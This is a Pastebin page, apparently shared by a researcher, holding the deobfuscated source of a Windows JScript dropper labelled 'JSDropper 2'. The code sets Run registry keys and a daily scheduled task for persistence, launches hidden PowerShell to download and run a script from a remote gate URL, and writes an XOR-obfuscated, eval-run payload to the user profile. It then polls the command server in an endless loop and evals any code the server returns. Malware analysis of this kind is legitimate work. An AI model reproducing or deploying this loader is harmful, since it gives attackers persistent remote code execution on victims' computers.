SHARE
TWEET

JSDropper 2 deobf

benkow_ Jan 15th, 2017 (edited) 3,826 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var shell   = new ActiveXObject('WScript.Shell');
  2. var timeout = 600000;
  3. var gate    = "http://drogenhilfezentrum.de/r4.php";
  4. var id      = shell.ExpandEnvironmentStrings('%PROCESSOR_REVISION%');
  5. var group   = "404"
  6.  
  7. shell.Run('REG ADD "HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" /V "' + id + '0" /t REG_SZ /F /D "cmd.exe /c powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.Webclient).DownloadFile(\'' + gate + '?cmd=d\',\'%userprofile%\\' + id + '.js\'); %userprofile%\\' + id + '.js"', 0, false);
  8. shell.Run('REG ADD "HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" /V "' + id + '1" /t REG_SZ /F /D "%userprofile%\\' + id + '.js"', 0, false);
  9. shell.Run('SCHTASKS /Create /TN ' + id + ' /SC DAILY /F /TR %userprofile%\\' + id + '.js', 0, false);
  10. var stream = new ActiveXObject('ADODB.Stream');
  11. stream.open();
  12. stream.type = 2;
  13. stream.WriteText('var vuoVNHxTNMr = "\\x13\\x0b\\x23\\x43\\x27\\x3e\\x31\\x1b\\x38\\x52\\x45\\x0f\\x69\\x23\\x34\\x1e\\x73\\x37\\x06\\x1e\\x38\\x15\\x31\\x0e\\x1b\\x15\\x3e\\x17\\x2f\\x46\\x61\\x6a\\x06\\x3a\\x30\\x04\\x0c\\x1a\\x25\\x4d\\x07\\x3e\\x31\\x1b\\x38\\x55\\x65\\x09\\x43\\x62\\x7e\\x46\\x7c\\x59\\x4a\\x28\\x66\\x05\\x1e\\x3e\\x3d\\x3e\\x36\\x16\\x46\\x1d\\x66\\x62\\x7e\\x46\\x7c\\x10\\x52\\x0f\\x07\\x52\\x2e\\x2f\\x60\\x02\\x3b\\x16\\x04\\x05\\x38\\x0f\\x1c\\x63\\x25\\x17\\x17\\x4a\\x25\\x0a\\x39\\x33\\x3b\\x02\\x20\\x52\\x71\\x12\\x7f\\x7d\\x61\\x59\\x63\\x46\\x5e\\x60\\x7e\\x4c\\x7b\\x79\\x7b\\x58\\x1e\\x36\\x0a\\x51\\x21\\x04\\x16\\x5d\\x02\\x7c\\x4a\\x45\\x7e\\x4c\\x7b\\x79\\x17\\x32\\x2c\\x19\\x04\\x05\\x7d\\x35\\x34\\x0e\\x00\\x22\\x6f\\x1c\\x30\\x11\\x74\\x31\\x35\\x03\\x31\\x52\\x45\\x0f\\x69\\x6f\\x39\\x1d\\x27\\x06\\x5f\\x45\\x7e\\x07\\x26\\x39\\x33\\x12\\x3a\\x1a\\x25\\x5e\\x2f\\x28\\x2b\\x0c\\x3d\\x02\\x17\\x1f\\x3c\\x4d\\x30\\x33\\x7b\\x05\\x60\\x5c\\x3c\\x5a\\x39\\x6f\\x6a\\x63\\x25\\x17\\x17\\x4a\\x38\\x07\\x5d\\x76\\x5d\\x4a\\x74\\x01\\x24\\x57\\x25\\x21\\x7f\\x2c\\x2b\\x06\\x04\\x04\\x35\\x26\\x3a\\x20\\x3d\\x05\\x3b\\x1c\\x21\\x57\\x27\\x39\\x02\\x1d\\x21\\x1f\\x0b\\x0d\\x22\\x4b\\x73\\x73\\x04\\x25\\x1b\\x31\\x09\\x61\\x1a\\x02\\x03\\x36\\x01\\x33\\x33\\x23\\x02\\x2a\\x1b\\x18\\x71\\x50\\x7d\\x49\\x46\\x1d\\x66\\x62\\x7e\\x46\\x7c\\x22\\x04\\x38\\x23\\x05\\x60\\x5c\\x7b\\x58\\x7b\\x5d\\x63\\x1d\\x79\\x79\\x34\\x5f\\x32\\x14\\x2e\\x10\\x3f\\x22\\x03\\x6e\\x12\\x7d\\x7b\\x5d\\x63\\x1d\\x66\\x62\\x61\\x51\\x18\\x13\\x34\\x24\\x66\\x2a\\x24\\x3c\\x25\\x16\\x0d\\x78\\x63\\x1d\\x66\\x62\\x7e\\x46\\x34\\x26\\x24\\x0c\\x60\\x09\\x18\\x2c\\x13\\x40\\x63\\x38\\x2f\\x7c\\x43\\x3b\\x30\\x1b\\x73\\x11\\x17\\x05\\x24\\x13\\x74\\x76\\x74\\x4a\\x74\\x50\\x78\\x02\\x7d\\x6f\\x5b\\x63\\x20\\x1e\\x00\\x06\\x3d\\x4d\\x06\\x23\\x3a\\x5f\\x73\\x20\\x09\\x75\\x69\\x0c\\x15\\x2d\\x73\\x54\\x2d\\x21\\x12\\x36\\x08\\x0a\\x07\\x38\\x12\\x26\\x1b\\x73\\x1b\\x08\\x0d\\x35\\x1e\\x1f\\x06\\x18\\x3e\\x10\\x3b\\x30\\x20\\x2b\\x08\\x25\\x25\\x5c\\x2d\\x22\\x26\\x1a\\x0f\\x2a\\x26\\x1f\\x23\\x11\\x31\\x38\\x20\\x21\\x31\\x00\\x3f\\x5b\\x26\\x23\\x0d\\x35\\x01\\x03\\x0b\\x48\\x71\\x4c\\x02\\x76\\x76\\x50\\x74\\x59\\x6c\\x5b\\x2d\\x6d\\x7a\\x49\\x74\\x46\\x47\\x4a\\x7e\\x17\\x74\\x04\\x11\\x30\\x0b\\x21\\x16\\x12\\x66\\x0b\\x71\\x46\\x17\\x56\\x47\\x09\\x3c\\x07\\x7a\\x33\\x2c\\x12\\x74\\x5d\\x2f\\x12\\x39\\x22\\x26\\x0c\\x21\\x05\\x0d\\x0f\\x3d\\x0f\\x7a\\x33\\x2c\\x12\\x74\\x5f\\x09\\x4a\\x2c\\x2e\\x24\\x1d\\x3a\\x19\\x0b\\x3a\\x3e\\x0f\\x3d\\x35\\x2d\\x57\\x36\\x0b\\x3c\\x53\\x3a\\x3e\\x71\\x44\\x3d\\x19\\x15\\x18\\x3e\\x05\\x3d\\x3a\\x31\\x57\\x79\\x05\\x25\\x5c\\x2d\\x22\\x26\\x1a\\x27\\x0f\\x09\\x0f\\x71\\x0b\\x3d\\x32\\x30\\x12\\x3a\\x52\\x64\\x7c\\x2c\\x3a\\x7c\\x26\\x31\\x1c\\x00\\x09\\x25\\x43\\x07\\x2f\\x27\\x03\\x31\\x1f\\x62\\x7c\\x2c\\x39\\x7f\\x3e\\x36\\x14\\x06\\x06\\x38\\x06\\x3a\\x22\\x7d\\x59\\x10\\x1d\\x3b\\x5c\\x25\\x22\\x30\\x0d\\x15\\x1f\\x09\\x0f\\x79\\x3f\\x73\\x71\\x74\\x5c\\x74\\x15\\x2d\\x46\\x2c\\x6d\\x7a\\x49\\x74\\x49\\x06\\x07\\x35\\x5e\\x30\\x0a\\x73\\x5b\\x08\\x55\\x69\\x47\\x3a\\x28\\x23\\x19\\x21\\x19\\x03\\x03\\x3d\\x06\\x71\\x0a\\x08\\x50\\x74\\x59\\x6c\\x5b\\x2d\\x6d\\x7a\\x49\\x74\\x58\\x0f\\x19\\x0d\\x44\\x7d\\x6d\\x74\\x52\\x21\\x01\\x29\\x40\\x39\\x3f\\x3e\\x0f\\x3a\\x1a\\x00\\x4f\\x0d\\x3f\\x73\\x76\\x7f\\x57\\x3d\\x16\\x6c\\x19\\x69\\x6a\\x7f\\x03\\x20\\x54\\x42\\x46\\x71\\x53\\x78\\x76\\x32\\x16\\x38\\x01\\x29\\x1b\\x72\\x47\\x7e\\x46\\x7c\\x59\\x4a\\x45\\x37\\x2f\\x38\\x1d\\x1b\\x04\\x3d\\x1e\\x22\\x68\\x19\\x1d\\x25\\x0a\\x09\\x46\\x6f\\x45\\x7e\\x4c\\x7b\\x79\\x7b\\x23\\x3b\\x17\\x7c\\x04\\x10\\x07\\x3a\\x31\\x30\\x44\\x29\\x0c\\x1d\\x31\\x05\\x01\\x26\\x01\\x32\\x78\\x3f\\x5a\\x2c\\x21\\x3d\\x47\\x01\\x03\\x0b\\x42\\x76\\x31\\x11\\x11\\x74\\x36\\x10\\x36\\x6c\\x10\\x01\\x06\\x12\\x3c\\x0f\\x2a\\x36\\x25\\x17\\x37\\x03\\x17\\x06\\x32\\x08\\x2e\\x01\\x5b\\x2a\\x3f\\x3e\\x1a\\x3c\\x10\\x11\\x36\\x0d\\x34\\x3d\\x38\\x30\\x18\\x23\\x01\\x10\\x6e\\x0a\\x38\\x23\\x1b\\x36\\x18\\x11\\x3c\\x34\\x11\\x27\\x3f\\x3b\\x19\\x08\\x2e\\x1e\\x47\\x27\\x6f\\x71\\x46\\x05\\x56\\x47\\x4d\\x71\\x48\\x74\\x3f\\x30\\x57\\x7f\\x52\\x6b\\x03\\x6b\\x6d\\x7e\\x1d\\x73\\x24\\x20\\x2d\\x0e\\x30\\x0e\\x76\\x7b\\x31\\x74\\x5d\\x08\\x12\\x6b\\x68\\x24\\x1a\\x36\\x04\\x15\\x18\\x3e\\x05\\x3d\\x3a\\x31\\x52\\x08\\x2e\\x6b\\x12\\x62\\x6d\\x38\\x0d\\x73\\x5d\\x45\\x4d\\x7f\\x09\\x27\\x74\\x73\\x5b\\x74\\x42\\x60\\x12\\x2f\\x2c\\x3d\\x1a\\x36\\x5f\\x5e\\x60\\x22\\x0b\\x31\\x3a\\x38\\x59\\x06\\x07\\x22\\x1a\\x6e\\x1e\\x12\\x21\\x07\\x37\\x36\\x21\\x02\\x43\\x7b\\x15\\x26\\x12\\x35\\x06\\x29\\x12\\x66\\x19\\x1f\\x49\\x74\\x56\\x4e\\x4a\\x38\\x07\\x74\\x7d\\x74\\x50\\x74\\x5d\\x1f\\x71\\x69\\x09\\x10\\x20\\x1f\\x2f\\x45\\x45\\x17\\x43\\x7b\\x02\\x06\\x57\\x71\\x07\\x3f\\x57\\x3b\\x3d\\x23\\x06\\x35\\x1f\\x09\\x0f\\x74\\x3f\\x08\\x71\\x74\\x5c\\x74\\x1b\\x28\\x12\\x62\\x6d\\x76\\x47\\x39\\x05\\x42\\x46\\x71\\x53\\x78\\x76\\x32\\x16\\x38\\x01\\x29\\x1b\\x72\\x47\\x7e\\x46\\x7c\\x59\\x4a\\x45\\x06\\x0a\\x63\\x1e\\x0c\\x45\\x07\\x11\\x07\\x66\\x79\\x25\\x5b\\x46\\x7c\\x59\\x4a\\x45\\x7e\\x16\\x04\\x18\\x12\\x18\\x00\\x37\\x16\\x38\\x66\\x62\\x7e\\x46\\x7c\\x59\\x2e\\x25\\x02\\x28\\x3e\\x03\\x38\\x24\\x60\\x3b\\x46\\x1d\\x66\\x62\\x7e\\x46\\x7c\\x01\\x2b\\x0b\\x04\\x17\\x1a\\x32\\x5e\\x7d\\x23\\x1a\\x25\\x5e\\x2c\\x65\\x25\\x1b\\x26\\x13\\x4c\\x4a\\x2a\\x69\\x5d\\x22\\x26\\x0e\\x74\\x09\\x46\\x1d\\x66\\x62\\x7e\\x46\\x7c\\x13\\x11\\x58\\x68\\x53\\x07\\x62\\x60\\x38\\x61\\x47\\x23\\x47\\x23\\x1d\\x39\\x00\\x59\\x59\\x4a\\x45\\x7e\\x4c\\x7b\\x33\\x25\\x15\\x00\\x1f\\x0b\\x76\\x43\\x62\\x7e\\x46\\x7c\\x59\\x4a\\x0c\\x05\\x11\\x07\\x22\\x63\\x1f\\x07\\x19\\x00\\x55\\x03\\x39\\x1c\\x1e\\x27\\x30\\x2d\\x1c\\x5b\\x4c\\x7b\\x79\\x7b\\x58\\x7b\\x3c\\x78\\x77\\x0b\\x22\\x67\\x30\\x2b\\x19\\x57\\x18\\x24\\x2f\\x1e\\x32\\x61\\x30\\x3f\\x3d\\x1d\\x38\\x40\\x44\\x27\\x08\\x21\\x56\\x1d\\x07\\x3d\\x0b\\x20\\x22\\x24\\x57\\x69\\x52\\x22\\x57\\x3e\\x6d\\x10\\x0a\\x27\\x1f\\x13\\x0f\\x09\\x2c\\x36\\x3c\\x31\\x14\\x20\\x5a\\x6b\\x7f\\x1a\\x15\\x1c\\x25\\x61\\x58\\x3d\\x27\\x1d\\x2b\\x00\\x02\\x04\\x50\\x7d\\x49\\x46\\x3b\\x40\\x35\\x3c\\x05\\x3b\\x02\\x11\\x1a\\x7f\\x0c\\x3a\\x24\\x31\\x16\\x30\\x0b\\x3f\\x46\\x28\\x39\\x34\\x0a\\x3b\\x17\\x0b\\x0d\\x34\\x43\\x69\\x76\\x32\\x02\\x3a\\x11\\x38\\x5b\\x26\\x23\\x79\\x40\\x73\\x0d\\x6f\\x45\\x7e\\x4c\\x7b\\x79\\x7b\\x20\\x35\\x26\\x05\\x03\\x23\\x7b\\x07\\x2d\\x3f\\x2c\\x07\\x03\\x37\\x20\\x5e\\x79\\x7b\\x58\\x7b\\x5d\\x63\\x7d\\x7c\\x26\\x21\\x3b\\x31\\x2e\\x2d\\x29\\x15\\x2b\\x15\\x3a\\x1e\\x10\\x6c\\x39\\x46\\x3b\\x40\\x44\\x38\\x0f\\x73\\x5e\\x1d\\x07\\x3d\\x0b\\x20\\x22\\x24\\x59\\x26\\x17\\x2d\\x56\\x30\\x1e\\x25\\x08\\x27\\x13\\x45\\x57\\x6c\\x43\\x60\\x76\\x72\\x51\\x74\\x0a\\x21\\x5e\\x21\\x39\\x25\\x19\\x7d\\x05\\x11\\x0b\\x25\\x16\\x27\\x76\\x69\\x4a\\x74\\x40\\x7c\\x02\\x60\\x6d\\x2a\\x63\\x5a\\x7f\\x6c\\x63\\x38\\x05\\x74\\x7e\\x2c\\x1a\\x38\\x1a\\x38\\x46\\x39\\x63\\x23\\x0c\\x20\\x06\\x0a\\x04\\x22\\x06\\x00\\x33\\x2c\\x03\\x7a\\x1e\\x29\\x5c\\x2e\\x39\\x39\\x49\\x72\\x4b\\x45\\x5a\\x78\\x43\\x2f\\x5c\\x5d\\x7e\\x5d\\x7b\\x45\\x57\\x3f\\x2c\\x3d\\x41\\x2b\\x1b\\x09\\x02\\x25\\x17\\x24\\x78\\x26\\x12\\x27\\x02\\x23\\x5c\\x3a\\x28\\x05\\x0c\\x2b\\x02\\x4c\\x51\\x5b\\x6a\\x5d\\x5f\\x5d\\x0a\\x6f\\x78\\x63\\x1d\\x66\\x62\\x7e\\x46\\x15\\x40\\x2f\\x5a\\x18\\x0a\\x67\\x12\\x04\\x7d\\x7b\\x5d\\x63\\x1d\\x66\\x62\\x39\\x1e\\x63\\x45\\x28\\x5c\\x5b\\x6a\\x5d\\x5f\\x29\\x4c\\x5e\\x5d\\x63\\x1d\\x66\\x62\\x7e\\x04\\x3d\\x11\\x1d\\x19\\x29\\x1a\\x37\\x1c\\x60\\x30\\x30\\x21\\x1b\\x07\\x00\\x17\\x60\\x38\\x06\\x7c\\x4a\\x45\\x7e\\x4c\\x7b\\x79\\x05\\x0f\\x1a\\x38\\x1c\\x4b\\x33\\x20\\x14\\x10\\x29\\x24\\x23\\x3d\\x30\\x51\\x38\\x5c\\x5d\\x7e\\x29\\x49\\x46\\x1d\\x66\\x62\\x7e\\x46\\x7c\\x46\\x23\\x1c\\x64\\x2d\\x07\\x00\\x13\\x02\\x07\\x25\\x07\\x56\\x7c\\x74\\x5b\\x46\\x7c\\x59\\x4a\\x45\\x7e\\x57\\x39\\x60\\x3b\\x27\\x19\\x2b\\x46\\x3b\\x40\\x35\\x3c\\x05\\x3b\\x02\\x11\\x1a\\x7f\\x0c\\x24\\x33\\x3a\\x5f\\x73\\x35\\x09\\x66\\x6e\\x61\\x71\\x0e\\x32\\x02\\x00\\x4a\\x7a\\x43\\x73\\x69\\x37\\x1a\\x30\\x4f\\x3c\\x14\\x20\\x29\\x6c\\x4e\\x73\\x5d\\x45\\x03\\x35\\x43\\x7f\\x76\\x73\\x51\\x33\\x00\\x23\\x47\\x39\\x70\\x76\\x49\\x78\\x56\\x02\\x18\\x3e\\x16\\x24\\x76\\x7f\\x57\\x73\\x54\\x3e\\x5c\\x2d\\x70\\x76\\x49\\x78\\x56\\x28\\x0b\\x25\\x0b\\x7a\\x24\\x35\\x19\\x30\\x1d\\x21\\x1a\\x60\\x61\\x71\\x0f\\x32\\x1a\\x16\\x0f\\x78\\x58\\x5e\\x5f\\x5d\\x0f\\x39\\x1e\\x24\\x46\\x3d\\x3d\\x7f\\x1a\\x36\\x18\\x01\\x42\\x78\\x58\\x5e\\x79\\x7b\\x58\\x7b\\x5d\\x63\\x4a\\x71\\x74\\x25\\x04\\x1c\\x40\\x07\\x5b\\x16\\x55\\x13\\x19\\x0d\\x19\\x10\\x3b\\x46\\x1d\\x66\\x62\\x7e\\x46\\x7c\\x38\\x08\\x1a\\x17\\x2d\\x18\\x05\\x03\\x23\\x12\\x4a\\x46\\x3b\\x40\\x29\\x34\\x05\\x36\\x02\\x00\\x4a\\x29\\x0e\\x38\\x3e\\x20\\x03\\x24\\x49\\x46\\x1d\\x66\\x62\\x7e\\x46\\x7c\\x12\\x02\\x3f\\x1b\\x50\\x1b\\x20\\x6d\\x31\\x37\\x3e\\x46\\x1d\\x66\\x62\\x7e\\x46\\x7c\\x1d\\x1d\\x2b\\x13\\x06\\x64\\x2f\\x05\\x3a\\x27\\x3b\\x0b\\x76\\x43\\x44\\x58\\x3e\\x00\\x15\\x17\\x03\\x21\\x17\\x7a\\x05\\x38\\x12\\x31\\x02\\x64\\x46\\x20\\x20\\x34\\x06\\x26\\x02\\x4c\\x51\\x5b\\x4c\\x7b\\x79\\x7b\\x58\\x7b\\x02\\x1a\\x53\\x0e\\x2a\\x37\\x5e\\x1d\\x7c\\x4a\\x45\\x7e\\x4c\\x7b\\x79\\x39\\x47\\x2c\\x24\\x2a\\x59\\x23\\x38\\x03\\x3e\\x1c\\x7c\\x6c\\x17\\x71\\x00\\x35\\x22\\x37\\x1f\\x74\\x5a\\x29\\x1b\\x69\\x36\\x5b\\x46\\x7c\\x59\\x4a\\x45\\x7e\\x09\\x61\\x1f\\x04\\x43\\x22\\x45\\x3d\\x5a\\x38\\x7b\\x37\\x07\\x1a\\x10\\x07\\x38\\x5b\\x4c\\x7b\\x79\\x7b\\x58\\x7b\\x04\\x0a\\x65\\x7a\\x1a\\x5b\\x63\\x5a\\x0b\\x5e\\x60\\x7e\\x4c\\x7b\\x79\\x7b\\x58\\x64\\x4b\\x1d\\x61\\x23\\x20\\x66\\x30\\x18\\x40\\x03\\x05\\x02\\x07\\x66\\x5c\\x7b\\x58\\x7b\\x5d\\x63\\x1d\\x05\\x21\\x02\\x3f\\x1c\\x02\\x03\\x5a\\x61\\x5a\\x39\\x02\\x13\\x3e\\x23\\x05\\x04\\x56\\x43\\x30\\x6a";var pvrugNHBBxM  = "ejQcTVTwTrL2IMQiSv";for (var ZteOtnuPIJ = "", PkLvGntERvl = 0, ztsCfgoySDeL = 0; PkLvGntERvl < vuoVNHxTNMr.length; PkLvGntERvl++) {ZteOtnuPIJ += String.fromCharCode(vuoVNHxTNMr.charCodeAt(PkLvGntERvl) ^ pvrugNHBBxM.charCodeAt(ztsCfgoySDeL));ztsCfgoySDeL++;if (ztsCfgoySDeL == pvrugNHBBxM.length) {ztsCfgoySDeL = 0;};};var KvmvNQ = "val"; KvmvNQ = "e" + KvmvNQ; this[KvmvNQ](ZteOtnuPIJ);', 0);
  14. stream.position = 0;
  15.  
  16.  
  17. stream.saveToFile(shell.ExpandEnvironmentStrings('%userprofile%') + '\\' + id + '.js', 2);
  18. while(true) {
  19.     try {
  20.         var xmlhttp = new ActiveXObject('MSXML2.XMLHTTP');
  21.         xmlhttp.onreadystatechange = function() {
  22.             if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
  23.                 if (xmlhttp.responseText.length != 0) {
  24.                     eval(xmlhttp.responseText);
  25.                 };
  26.             };
  27.         };
  28.         xmlhttp.open('GET', gate + '?cmd=p&id=' + id + '&group=' + group + '&rnd=' + Math.random(), false);
  29.         xmlhttp.send();
  30.         delete xmlhttp;
  31.         WScript.Sleep(timeout);
  32.     } catch (e) {
  33.  
  34.     };
  35. };
RAW Paste Data
Top